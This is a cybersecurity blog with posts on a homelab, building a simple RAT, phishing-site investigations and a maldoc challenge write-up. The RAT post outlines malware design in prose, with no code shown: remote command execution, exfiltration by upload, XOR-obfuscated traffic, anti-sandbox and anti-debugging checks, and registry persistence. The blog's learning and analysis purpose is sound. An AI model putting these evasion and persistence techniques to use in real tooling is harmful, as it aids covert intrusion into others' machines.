This machine is then connected to a Remnux Linux machine. All traffic from the Windows machine is port forwarded by Remnux. From here I can run Wireshark to inspect the traffic coming from the Windows malware lab and it can also spoof the network responses to influence the behavior of malware. If the Remnux machine is turned off, then the Windows machine is effectively cut off from the whole network. It's a really neat setup that I learned here.

The Present

While the main intent of the network is to learn networking and implementing cybersecurity products, I can also investigate malware and learn about exploits by launching attacks. So it has a lot of multiple uses, which is perfect for someone like me who gets interested in different aspects of cybersecurity.

My host machine currently has 32GB, 8 cores, and a total of 1.75TB which may seem a lot but is not powerful enough for all the machines to run at the same time. As a workaround, I just open the machines that I need for a particular exercise.


For example, if I want to investigate malware then I only need the firewall, Remnux, and the windows malware lab open. But if I want to attack and run an exploit, while making sure that it gets detected, then I need the firewall, EDR, IPS, SIEM, Kali, and the target machine to be open at the same time. This easily consumes around 20GB+!

The Future

Working on this homelab has taught me a lot of practical knowledge. It helped solidify a lot of networking concepts I've learned througout the years.

I'm not stopping here though. I also plan to upgrade the Target network so it would better resemble an enterprise network. For example, setting up an active directory, an internal DNS server, and maybe even a mail server (why not?). This is so I could play around in detecting and remediating more varied enterprise-level scenarios.

I am also hoping I could get access to more cybersecurity products so I could play around with them. A SOAR (Security Orchestration and Response) would be a nice addition that would work really well.

But, of course, before I could do any of the above I first need to upgrade my RAM and add more cores!

Making a RAT

in malware, dev

A Remote Access Tool (RAT) is used to remotely access a computer. It has legitimate uses but it can also be used for malicious purposes. I've seen it used in malware I've analyzed and I've always been curious as to how it works.

I was following along the Handmade Hero project 1 when the topic about dynamic DLL loading came up. This is a process of dynamically loading a DLL at runtime which is useful if you want your program to check if a DLL is present in a system before loading it.

Two of the system calls that were discussed were LoadLibrary and GetProcAddress. These were familiar to me as I've seen them used on malware shellcode I analyzed in the past. I later learned that this is also used as an anti-virus evasion technique. I found this interesting.

Having learned how to do runtime DLL loading myself I decided to give it a try. And of course, a RAT is perfect for this.


Planning the RATchitecture

A lot of famous RATs are packed with features like the ability to log keystrokes, take screenshots, and turn on a webcam. I just want mine to be simple and have basic functionality like:

  • Execute command line commands remotely
  • Download a file to the client
  • Exfiltrate data via file upload

You can already do a lot of things even with the above basic functions. You can download a payload to the client, run it via remote command and then upload the results. You can even update the RAT itself using the same process!

As an extra, I also wanted it to be stealthy. I am aware however that this is something that is not easily done. There are myriads of security defenses and I don't think I have the time and energy to have my RAT to be up-to-date with the latest evasion techniques. Having basic anti-debugging and anti-sandbox checks is enough for me.

I've never made a RAT before but thankfully there are a lot of great resources online that helped me a lot:

  • ParadoxiaRat is my main resource and has done a lot of the features I wanted to implement.
  • DarkRAT is a leaked source code that gave me an idea of how a RAT used in the wild looks like
  • VXUnderground's WinAPI tricks taught me that there are alternative ways to do certain things to avoid detection

As for the name of the project, I decided on "RATwurst" after the german sausage, Bratwurst. Don't ask me why. I just thought it's funny that it had the letters RAT in it.


The nitty gRATty details

The client is written in ANSI C because it's the language I prefer. Since I am only targeting Windows I chose MSVC for the compiler. Which is great because it allows me to use Visual Studio for debugging.

The server, on the other hand, is written in Python because I wanted another excuse to practice with it. Choosing Python has been a good choice though because of the excellent low level socket and cmd libraries.

Sockets are used for communication between client and server. I've applied basic XOR obfuscation to the data to mask the traffic. The client and server can handle sending of strings and even executables over the network.

When RATwurst is first executed. It does some anti-sandbox checks via process enumeration. It checks if there are more than 15 processe that are running and if there are virtualization tools present like vmware.exe. It will also setup an auto-run registry entry for persistence. And also move the executable to Windows' temp folder and re-run it from there.

Anti-debbuging checks are littered throughout the code which checks the amount of time it takes to reach from one part of the code to the next. This is used to detect if someone is stepping through the code, increasing the delay between code execution.

When no shenanigans is detected then it'll proceed to work as intended.


For eduRATional purposes only

I've made the source of my project available on Github. The aim is to share what I've learned so that others can learn too.

I am aware of news of RAT authors having been arrested because of their work. They actively sought to gain money from their creation, I, of course, have no such plans.

To make sure that I save myself from any legal problems, I've placed a disclaimer that I am not responsible for any misuse. While I am skeptical that a piece of text would prevent any legal action towards me, I do see other projects having their own disclaimers so I decided to do the same.

I've also submitted my creation to a multi-scanner service like VirusTotal. This would help distribute my RATs signature to anti-virus companies so it can easily be detected when used in the wild.2

A RATisfying learning experience

Making this project has been a lot of fun.

The most useful thing that I learned is the client and server communication via sockets. I've dabbled with it before but only in this project have I actually sent actual data back and forth.

I am also happy that I got to use more Windows APIs. It's fun to play around with what's available and it is opening my mind as to what other things I can make in the future.

And of course, this project has given me a good insight into the techniques used by malware. Learning about them is not enough until you've built one yourself.

  1. Handmade here is a project by Casey Muratori where a game is created from scratch live on stream, has been going on for 6+ years, it's awesome 

  2. Multi-scanners help to easily distribute virus signatures to security services. An opposite to this are "no-distribute" sacnners. More info about this here

Finding phished passwords on a scam site

in phishing

Since my last post about my investigations of a Facebook phishing site, I have received several messages from friends asking me to check out other suspected phishing/scam sites. One of the most alarming out of them was this one where I was able to find the file where the scammer stores the phished usernames and passwords.


This particular phishing site conducts its operations like this:

  • An ad is shown on Facebook, promising free coupons for famous fast food restaurants
  • Clicking on the ad takes the user to a fake Facebook login page hosted on
  • Login page then sends phished username and passwords to a PHP file hosted on 000webhost

The phished passwords are then stored in a .txt file (blatantly named, victims.txt), which is publicly accessible on an open directory. Getting to this directory involved following the scripts and the URLs used by the scammers. It's not that hard to find as long as you know where to look.

What's scary is that the size of this text file kept on getting bigger. I knew I had to act quickly.

Stopping the scammers

Unfortunately, with phishing sites like these, there's not much we could do but report it to the relevant hosting providers. The problem is that sometimes it may take some time before the site gets reviewed, which is excruciating because the longer the wait, the more people fall victim. Some might even just ignore your report altogether!

I reported the fake login page to and did not receive any response at all. I understand that is a big platform and I bet they receive numerous reports like this. I guess this is why the scammer used this platform as they know they won't be taken down too quickly. Their profile even listed two sites that both had fake login pages.


Thankfully, 000webhost got back to me and eventually took down the page that hosted the PHP and text files.


You'd think that this is a victory. But sadly, setting up a new phishing site is rather easy so within a few hours there is already a new one. Of course, I reported this new site too. Only for a new one to pop up later...

You can see how this can become an endless cat and mouse game.

Stopping from other sources

One way that could be effective to stop the scammer's operations is by reporting the Facebook advertisement that is used to lure users to the phishing site. Unfortunately, my friend who shared this with me did not get a chance to snap a screenshot of the ad. If he did then it would probably have more impact on stopping their operations. Maybe the Facebook abuse team can trace the payment details used to pay for the ad, and maybe block it.


If you know anyone who may have seen a Facebook advertisement that offers free coupon codes for fast food restaurants that might be pointing to a suspicious login page, then please do contact me!

Awareness is the key

As of this posting, the landing page is still up while the page that hosts the PHP and victims file is down. I'm sure it'll be back up soon. All I was able to do was delay their operations. A minor inconvenience for them.


This is why out of everything, spreading awareness is the best countermeasure. If people are more aware of phishing sites and how to avoid them then that would greatly diminish their impact. This is why I continue to post and write about phishing sites. Seeing the number of victims rising like that made me act knowing that I at least have the power to prevent things from escalating.

And you have the power too, dear reader. Educate your family and friends by warning them or by showing them my posts. Remember, awareness is our best defense!

Emprisa Maldoc Writeup

in writeup

This is a writeup for Emprisa maldoc challenge that I made for You can play it here.

The very first thing that I do when confronted with a malicious document is to run it in a malware lab. This particular document, however, would not exhibit anything malicious on recent versions of Word.

A quick search of the hash on malware sandboxes would reveal that the document makes use of the CVE-2017-18822 vulnerability. This is a vulnerability that became known and was promptly patched around November of 2017.

The above details give us a hint on how to trigger the document, which is to run the maldoc on a version of Microsoft Word that doesn't have the patches that fix the vulnerability. The easiest way to do this is to boot up a new VM with a fresh install of Windows 7 and with updates disabled.

This new environment is where the document would trigger once double-clicked. After a bit of loading, a pop-up would later appear greeting the analyst with congratulations (this is a stand-in for a malicious payload for this challenge), but of course, it is clear that we are not done yet.


Tools such as Process Hacker will reveal a new process named EQNEDT32.EXE getting spawned right after opening the document. Those who have read through the CVE details would know that this is the expected behavior, as the vulnerability uses this process to run malicious code. In this case, the exploit downloads a file from the internet and automatically runs it.

Another tool such as Regshot would reveal newly created files. It can determine these by taking a snapshot before the malicious document is opened, then taking another one after the downloaded payload gets triggered, and finally comparing the two snapshots and listing the differences. It's an invaluable tool to have.


Running would then reveal some telling details about our maldoc, like for example, magic signatures and object streams.

Upon close inspection of the hexdump of the largest object stream (still via rtfdump), one would see a sequence of NOPs (aka a NOPsled) in certain parts. A NOPsled such as this usually indicates the possible start of shellcode. Carving this part of the shellcode and running it on an emulator such as speakeasy or scdbg won't work properly, however.


The output shows the first line to be LoadLibrary, and then there's an error after that. This indicates that maybe there's a problem with the shellcode.

On further inspection, a little more further down there is another set of seemingly readable strings. This could indicate another shellcode. Or, maybe, a continuation of the first one? In between these supposed two shellcodes is a readable string that seems out of place in between the gibberish. Carving the two shellcodes and then combining them would now work when run on an emulator.


If the previous solution was not immediately clear to you then there is another approach to the above. And that is to step through the EQNEDT32 process as soon as it runs. However, attaching to this process is tricky as it triggers only for a split second and then exits. To debug this, a debugger should be automatically connected as soon as the process starts. Check out this post for details on how to do this.

Once attached, the painstaking process of debugging begins. Thankfully, we have an idea of what code is being loaded into memory. And this is the shellcode that has a NOPSled during our analysis with above. Looking for this sequence and then putting a breakpoint where the memory location is accessed would stop the program just before the shellcode is run. Once the breakpoint triggered, we could step through the shellcode and find out what exactly the shellcode does and which Libraries are being called.

From here, we could also backtrack from where the shellcode is called to figure out how the exploit is triggered via a buffer overflow. This requires a bit of knowledge in reverse engineering. An alternative is to check out the CVE details in search for the tool that was likely used to make the exploit, and then examining the code.

After all of that, you should have everything that you need to answer all the questions in the challenge. You may have noticed that I have not revealed the answers outright. You still have to find it on your own. However, I do hope that by walking you through the process, I have helped you understand how to get there.

If you have more questions, or want to tell me what you think of the challenge, feel free to leave a comment below or send me a mesage at @accidentalrebel.

Investigating an FB phishing site

in phishing

Last April 21, people were posting warnings about a suspicious Facebook post where your account will supposedly get hacked when you click it. From the discussions, I gathered that it is a classic phishing site scam. A very effective one too, because as soon as an account gets compromised the attacker logs in and tags the friends in the account allowing it to spread further. The news of this got big that even the PH CERT issued a security advisory on it.


I was just curious, I swear!

I wanted to see the phishing site for myself but I was unlucky and did not get tagged by anyone. So I reached out to people who did and I eventually got to this page shown below:


To a trained eye, one could easily see the obvious red flags. But how can one notice them if there is a very attention-catching image in the middle beckoning to be clicked? It's a very simple tactic yet very effective. Clicking this link leads to an external website with an even more tantalizing image masquerading as a video.


Clicking play on that video would then lead to a fake Facebook login page. We all know what's next after that.


Of course, the very best course of action when a phishing site is discovered is to report it. I, however, was curious so I decided to poke around first.

The poking begins

Using my knowledge in OSINT (Open Source Intelligence) and pentesting, I poked around to see what I could learn from these set of pages.

One thing that immediately became obvious was that these "set of pages" were hosted on separate domains. The page with the video points to one domain, and the login page to another (that is even protected by DDNS (Dynamic DNS) via No-IP).


I also noticed that the way that the two pages were built was different. The coding style is not the same, different frameworks were used, plus the robots.txt of the login page was more restrictive.

Why are they in separate domains? Wouldn't it be cheaper to just have both pages on the same domain?

My hunch is that maybe the two sites were made by different people. One guy made the landing page then a different one made the login page. Or maybe the login page is an out-of-the-box solution you pay for or rent if you want to set up your own phishing scam? A PhAAS (Phishing-as-a-Service)?


During my reconnaissance, I also noticed that the URLs for the login page were changed a few times over a few hours. It's possible that the pages were being taken down thanks to the reports and the malicious actors were just making new instances and redirecting to it to make sure that the operation continues.

Đăng nhập hoặc đăng

Another thing I noticed is references to various Vietnamese terms and websites. Both pages have directories using the word "homnay", Vietnamese for the word "today". The source code also has a link to the news website "".


The Google Analytics ID used can also be found in previously tagged but now-defunct Phishing websites with references to Vietnam. It's entirely possible that these phishing sites initially targeted Vietnamese users but eventually got to Philippine users via the tagging spreading mechanism.


Or maybe it's a deliberate ploy to make it seem that the origin of the phish is Vietnamese. Just to throw off those of us snooping around.

And then it was gone

I was tempted to make a dummy Facebook account and send the login details to the phishing site. The idea was to see how long before an account gets accessed after submitting the credentials and if the tagging of friends is automated or done manually. But sadly I ran out of free time and by the time I came back to it the login page was already completely offline. The landing page is still up though.

This investigation has taught me a lot about phishing sites. It's different from investigating malware but it's easy to see the similarities in intent and approaches. I might try investigating more in the future. I'm curious to find out what the usual modus operandi is and also how the general populace can better protect themselves from it.

This particular site may be down now, but I bet there will be more in the future. As long as there are people to fall for scams like these, this type of attack will continue.

If you want to know more or discuss the details about the phishing site, I would be happy to exchange notes. Drop me a line on Twitter @accidentalrebel.